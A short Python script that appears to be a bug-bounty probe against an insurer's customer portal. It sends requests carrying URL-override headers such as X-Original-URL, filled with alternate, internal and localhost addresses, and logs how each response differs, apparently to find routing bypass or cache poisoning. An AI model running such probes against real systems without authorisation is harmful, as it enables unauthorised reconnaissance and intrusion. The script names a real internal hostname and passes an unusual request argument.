from curl_cffi import requests
import json,hashlib
host='mein-portal.baloise.de'; path='/auth/ui/assets/custom/manifest/manifest.json'
vals=[None,
 f'https://{host}{path}',f'https://{host}:4401{path}',f'https://{host}:8443{path}',
 'https://svl-de-iamp616.balgroupit.com:4401'+path,
 'https://infoportal.baloise.de'+path,'https://maklerportal.baloise.de'+path,
 'https://login.baloise.de'+path,'https://localhost:8443'+path,'http://'+host+path,
]
headerss=['X-URL','X-URL-Seen-By-Client','X-Original-URL','X-Forwarded-URL']
for hn in headerss:
 for v in vals:
  h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
  if v: h[hn]=v
  try:
   r=requests.get('https://'+host+path,headers=h,timeout=20,impersonate='chrome',allow_redirects=False,toadex_capture=False)
   print(json.dumps({'header':hn,'value':v,'status':r.status_code,'size':len(r.content),'sha':hashlib.sha256(r.content).hexdigest()[:16],'etag':r.headers.get('etag'),'lm':r.headers.get('last-modified'),'ct':r.headers.get('content-type'),'loc':r.headers.get('location'),'body':r.text[:120]}))
  except Exception as e: print(json.dumps({'header':hn,'value':v,'error':str(e)}))
